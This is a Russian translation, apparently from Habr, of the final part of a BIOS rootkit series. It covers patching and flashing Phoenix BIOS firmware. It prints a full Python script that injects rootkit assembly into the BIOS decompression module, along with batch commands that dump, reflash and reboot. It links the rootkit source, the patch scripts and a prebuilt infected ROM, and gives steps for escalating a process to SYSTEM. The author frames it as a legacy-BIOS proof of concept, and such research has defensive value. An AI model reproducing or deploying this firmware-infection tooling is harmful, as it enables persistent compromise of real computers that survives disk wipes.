Хабрахабр

[Перевод] Руткиты на основе BIOS. Часть 3

Публикуем заключительную часть перевода, который был подготовлен в преддверии старта базового и продвинутого курсов «Реверс-инжиниринг».


Распаковка и патчинг BIOS

Теперь, когда мы знаем как мы хотим внедрить руткит в BIOS, следующим шагом будет собственно патчинг BIOS кодом нашего руткита. Для этого нам нужно извлечь все модули BIOS, пропатчить модуль распаковки и собрать все заново. Модули можно извлечь с помощью консольной утилиты phxdeco или Phoenix BIOS Editor. После того как модуль распаковки извлечен, следующий код пропатчит его нашим руткитом:

#!/usr/bin/pythonimport os,struct,sys################################################ Скрипт для патчинга модуля распаковки BIOS - Автор Уэсли Вайнберг# Приложение Phoenix BIOS Editor (для Windows) сгенерирует несколько файлов модулей, включая модуль распаковки, который будет называться «DECOMPC0.ROM».# Эти файлы сохраняются в C:\Program Files\Phoenix Bios Editor\TEMP (или по похожему адресу) после открытия файла BIOS WPH. С помощью этого скрипта можно изменить файл модуля распаковки.# После внесения изменений, в BIOS Editor можно вносить любые изменения в модули BIOS - BIOS Editor сгенерирует новый файл BIOS WPH.# В качестве альтернативы модуль распаковки может быть извлечен с помощью phnxdeco.exe, но мы не сможем осуществить повторную сборку.#Этот скрипт требует, чтобы NASM присутствовал в системе, в которой он запущен.## INPUT:# Этот скрипт для патчинга требует, чтобы имя и путь к asm-файлу руткита BIOS были переданы в качестве аргументов в командной строке.## OUTPUT:# Этот скрипт изменяет файл DECOMPC0.ROM, расположенный в том же каталоге, что и скрипт, так, чтобы он запускал asm-код руткита BIOS.# Отображение информации об использованииif len(sys.argv) < 2:print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filenamerequired!"exit(0)# Поиск кодового имени руткитаshellcode = sys.argv[1].lower()# Транслировать ассемблерный код для внедрения. NASM должен присутствовать в системе, иначе это не удастся!os.system('nasm %s' % shellcode)# Открыть и отобразить размер скомпилированного кода руткитаshellcodeout = shellcode[0:len(shellcode)-4]decomphook = open(shellcodeout,'rb').read()print "Rootkit code loaded: %d bytes" % len(decomphook)# Следующая строка содержит ассемблерные команды, которые будут помещены в 0x23 в ROM файле распаковки.# ROM распаковки содержит заголовок, за которым следует ряд команд push, а за ними команда CLD. Этот код будет внедрен сразу после нее и перезапишет ряд команд mov.# Они должны вызываться кодом руткита до возврата, чтобы можно было продолжить стандартные функции распаковки.# Команда ассемблера, содержащаяся ниже, представляет собой Near Call, который перейдет к концу ROM-а распаковки, в который был помещен код руткита.# Далее следуют три команды NOP в качестве филлеров.minihook = '\xe8\x28\x04\x90\x90\x90'# Следующее будет работать, но это абсолютный вызов, что не является идеальным вариантом!# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A# Загрузка ROM файла распаковкиdecorom = open('DECOMPC0.ROM','rb').read()# Точка перехвата в файле - 0x23, сразу после команды CLD hookoffset=0x23# Вставляет содержимое перехвата в ROM распаковки, перезаписав то, что было там ранееdecorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]# Заполняет ROM распаковки сотней команд NOP.# В этом нет необходимости, но так легче определить, где произошло изменение.decorom+="\x90"*100+decomphook# Добавляет еще 10 NOP в конце.decorom=decorom+'\x90'*10# Пересчитывает размер ROM, чтобы можно было обновить заголовокdecorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]# Сохраняет пропатченный ROM распаковки поверх предыдущей копииout=open('DECOMPC0.ROM','wb')out.write(decorom)out.close()# Вывод результатовprint "The DECOMPC0.ROM file has now been patched."

Примером вызова этого скрипта может быть:

python patchdecomp.py biosrootkit.asm

Если все сработает успешно, вы должны увидеть что-то похожее на следующее:

Rootkit code loaded: 1845 bytesThe DECOMPC0.ROM file has now been patched.

Повторная сборка BIOS

Для первичных файлов BIOS, таких как тот, что включен в VMware, для повторной сборки можно использовать ряд утилит командной строки, включенных в Phoenix Bios Editor (или доступных от Intel). Позже при тестировании на реальном ПК было необходимо сохранить BIOS не только в первичном формате, поэтому в качестве инструмента для повторной сборки использовалась GUI-версия Phoenix Bios Editor. К сожалению, это означает, что невозможно просто иметь одно приложение, которое можно запустить в системе, чтобы оно заражало BIOS, по крайней мере, без использования заготовленных инструментов.

Это означает, что заражение BIOS представляет собой трехэтапный процесс, требующий некоторого ручного вмешательства, главным образом для повторной сборки. Ниже показан Phoenix BIOS Editor с открытым образом BIOS:

Phoenix BIOS Editor разрабатывался не для подмены модулей, но тем не менее предоставляет такую возможность. Когда образ BIOS открывается впервые, все модули BIOS будут извлечены на диск в папке, расположенной в C:\Program Files\Phoenix BIOS Editor\TEMP\. Модуль распаковки может быть скопирован из этой папки, исправлен и заменен. Phoenix BIOS Editor не позволит вам сохранить BIOS без изменений, поэтому, чтобы сохранить BIOS, нам следует поменять какое-нибудь строковое значение, а затем изменить его обратно (или просто оставить так).

Исходный код BIOS-руткита и скрипты для патчинга можно скачать по ссылкам в конце этой статьи, если вы хотите проделать все это самостоятельно.

Реальный ПК

Phoenix BIOS использовался во всех разработках на базе VMware, поэтому он также был выбран и для тестирования на физическом ПК. Все физическое (в отличие от виртуального) тестирование BIOS проводилось с использованием ноутбука HP Pavilion ze4400. Изначально тестирование BIOS планировалось с использованием ПК, а не с ноутбуком, поскольку получить доступ к материнской плате ПК для перепрошивки в случае необходимости было бы намного проще. Несмотря на это, быстро найти компьютер с Phoenix BIOS оказалось непросто, поэтому вместо него пришлось использовался ноутбук (особая благодарность Дэвиду за перепрошивку моего ноутбука, после того как я случайно записал исходный код в свой BIOS!)

Извлечение BIOS на ПК

Первый шаг к модификации реального системного BIOS состоит в том, чтобы извлечь его копию. Phoenix имеет два разных инструмента, которые они обычно предоставляют для этой цели, один называется «Phlash16», а другой — «WinPhlash». Phlash16 — это утилита командной строки (с консольным GUI), но она запускается только из DOS. WinPhlash, как следует из названия, запускается из под Windows. Хотя это GUI-утилита, она также принимает параметры командной строки, что позволяет нам автоматизировать процесс извлечения BIOS. Для этого проекта я создал несколько скриптов для автоматизации извлечения и патчинга BIOS, но они довольно примитивные и малофункциональные.

Следующий пакетный скрипт скопирует BIOS в файл с именем BIOSORIG.WPH, а затем проверит, не был ли он ранее изменен. Perl-скрипт CheckFlash.py просто проверяет содержимое BIOS на наличие моего имени, которого нет ни в одном неизмененном BIOS.

@rem Этот файл скопирует BIOS и проверяет, был ли он пропатчен ранее.@rem КопированиеWinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH@rem Проверка, был ли BIOS уже пропатченPython\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH

Распаковка и патчинг BIOS на ПК

После извлечения BIOS, следующим шагом является его патчинг нашим руткит-кодом. Это можно сделать с помощью тех же скриптов, которые мы использовали для VMware в разделах выше. Целью этого проекта было создать как можно более совместимый патч и процесс патчинга. Я очень рад, что это оказалось полностью осуществимым, так что одни и те же инструменты могут использоваться для совершенно другого оборудования, работающего на том же типе BIOS.

Повторная сборка BIOS на ПК

Хотя существует бесплатный инструмент, который может извлекать модули из Phoenix BIOS, похоже, что только Phoenix Bios Editor будет собирать их так, как это требуется для типичных ПК. Средство WinPhlash требует, чтобы в BIOS была включена дополнительная информация, которую он хранит вместе с необработанным BIOS в файле WPH. После тестирования многих различных вариантов, похоже, что единственный способ успешно собрать файл WPH — это использовать GUI Phoenix Bios Editor. К сожалению, это означает, что невозможно просто иметь одно приложение, которое можно запустить в системе для заражения BIOS, по крайней мере, без использования заготовленных инструментов.

Теоретически должна быть возможность выполнить реверс инжиниринг формата WPH и создать собственный инструмент для повторной сборки BIOS, но это выходит за рамки данного проекта. Вместо этого заражение BIOS представляет собой трехэтапный процесс, требующий некоторого ручного вмешательства, главным образом для повторной сборки.

Как и при патчинге BIOS VMware, можно использовать тот же прием, чтобы Phoenix BIOS Editor повторно собирал пропатченный модуль. Когда образ BIOS открывается впервые, все модули BIOS будут извлечены на диск в папку, расположенную в C:\Program Files\Phoenix BIOS Editor\TEMP\. Модуль распаковки может быть скопирован из этой папки, пропатчен и заменен. Phoenix BIOS Editor не позволит вам сохранить BIOS без изменений, поэтому вам необходимо изменить какое-нибудь строковое значение, а затем вернуть его обратно (или просто так и оставить), чтобы сохранить BIOS.

Флешинг BIOS

После того, как BIOS повторно собран в WPH-файл, следующий пакетный скрипт перенесет новый образ BIOS в BIOS EEPROM, а затем перезагрузит компьютер, чтобы изменения вступили в силу:

@rem Этот файл загружает файл с именем "BIOSPATCHED.WPH" в BIOS и перезагружает систему, когда закончит.WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH

Результаты модификации на ноутбуке

Собрав всю предыдущую работу вместе, далее показано, как код BIOS был перенесен на ноутбук (запускается скриптом infect.bat, описанным выше):

После завершения флешинга руткит BIOS успешно запустился и загрузился в ядро ​​Windows. На следующем скриншоте показана командная строка, которая первоначально запускается от имени рядового пользователя, а затем через 30 секунд ее привилегии повышаются:

Это демонстрирует, что руткит BIOS был достаточно портативным для работы на нескольких системах (VMware, ноутбук HP), и что механизмы заражения были функциональны и работали должным образом.

«Руткит», разработанный для этого проекта, реализует только одну простую задачу, но, как было отмечено в отношении программного обеспечения Vbootkit2, нет никаких причин, по которым к нему нельзя добавить дополнительные функции. В этом проекта фигурировал BIOS Phoenix, и вполне вероятно, что есть много сходств между BIOS Phoenix и BIOS других производителей. Хотя вполне вероятно, что код необходимо будет писать под каждого поставщика отдельно, их существует не так много, поэтому целесообразно расширить функциональность руткита на всех распространенных производителей.

Во введении я отметил, что новые функции BIOS, такие как подписанные апдейты, делают большую часть того, что описано здесь, намного меньшей угрозой с точки зрения безопасности. Это, безусловно, приятно отметить, но также стоит помнить, что «устаревших» компьютеров больше, чем «новых», поэтому этот тип атаки все еще будет оставаться проблемой в течение долгого времени.

Демо-версия VMware BIOS и исходный код

Следующий исходный код и исправленный BIOS предоставлены в качестве подтверждения концепции. Я ни в коем случае не предполагал, чтобы люди брали это и использовали для каких-либо злонамеренных целей, а скорее хотел продемонстрировать, что такие атаки вполне осуществимы в старых конфигурациях BIOS. Я не думаю, что это реально взять эту работу в ее нынешнем виде и превратить в какое-либо работоспособное вредоносное ПО, и на этом основании я размещаю этот код в Интернете.

Как отмечалось в предыдущих разделах, этот код должен работать для патчинга большинства BIOS Phoenix. Скрипты для патчинга можно скачать здесь:

BIOS_Based_Rootkit_Patch_Scripts.zip

Исходный код BIOS-руткита можно скачать здесь:

biosrootkit.asm

Вам потребуется NASM для компиляции кода для патчинга BIOS, если вы используете вышеуказанные скрипты/исходный код. Для успешной работы NASM следует либо добавить в переменную path, либо обновить скрипт для патчинга, чтобы иметь абсолютный путь к нему. Вам также понадобится копия Phoenix BIOS Editor или бесплатный аналог, чтобы вернуть модуль распаковки обратно в полный BIOS.

Если вы не хотите компилировать все это самостоятельно и просто хотите потыкать то, что у меня получилось, пропатченный BIOS для использования с VMware можно загрузить здесь:

BIOS_rootkit_demo.ROM

Использование проверки концепции и примечания

Если вы не хотите читать всю работу, приведенную выше, вот краткое изложение того, как это попробовать, и что оно делает.

  • Сначала загрузите образ BIOS_rootkit_demo.ROM по приведенной выше ссылке.
  • Чтобы потестить это, вам нужно установить копию VMware и гостевую операционную систему Windows XP. Я лично проверил это с кучей разных версий VMware Workstation, а также с последней версией VMware Player (которая бесплатна). Мне также сказали, что VMware Fusion тоже отлично работает.
  • Прежде чем открыть гостевую виртуальную машину WinXP, перейдите в папку, где хранится виртуальная машина на вашем компьютере, и откройте файл .vmx (например, WindowsXP.vmx или как там называется ваша виртуальная машина) в блокноте. В конце добавьте новую строку, которая содержит следующее: bios440.filename = "BIOS_rootkit_demo.ROM". Убедитесь, что вы скопировали BIOS_rootkit_demo.ROM в эту папку, пока вы там.
  • Теперь откройте и запустите виртуальную машину, затем переименуйте программу в pwn.exe (например, cmd.exe).
  • Подождите 30 секунд, а затем запустите диспетчер задач. Теперь Pwn.exe должен работать как пользователь «SYSTEM», а не как пользователь, под которым вы вошли в XP.

Шагов, описанные выше, должны сработать в идеальном мире. Однако в результате тестирования были выявлены следующие танцы с бубном!

  • Нестабильность ОС. Иногда при загрузке или просто закрытии приложения pwn.exe Windows выдает BSOD.
  • Диспетчер задач будет лгать о пользователе вашего процесса, если вы откроете его раньше времени повышения привилегий в 30с. Используйте что-то вроде cmd с whoami, чтобы правильно проверить ваши права доступа.
  • Хотя я успешно загрузил это на настоящий ПК, я не несу никакой ответственности за результаты, если вы делаете то же самое. Я хотел бы услышать о том, как вы превратите в кирпич свою материнскую плату каким-то нелепым образом, если это случится, но я, вероятно, не буду вам помогать с последствиями! Тестируйте на свой риск!

Если вы просто хотите посмотреть видео о том, как это происходит, Колин разместил его на YouTube:

Я рекомендую на самом деле попробовать это в VMware, гораздо веселее увидеть, как очистка жесткого диска ничего не решает, и ваша система по-прежнему поражена!

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»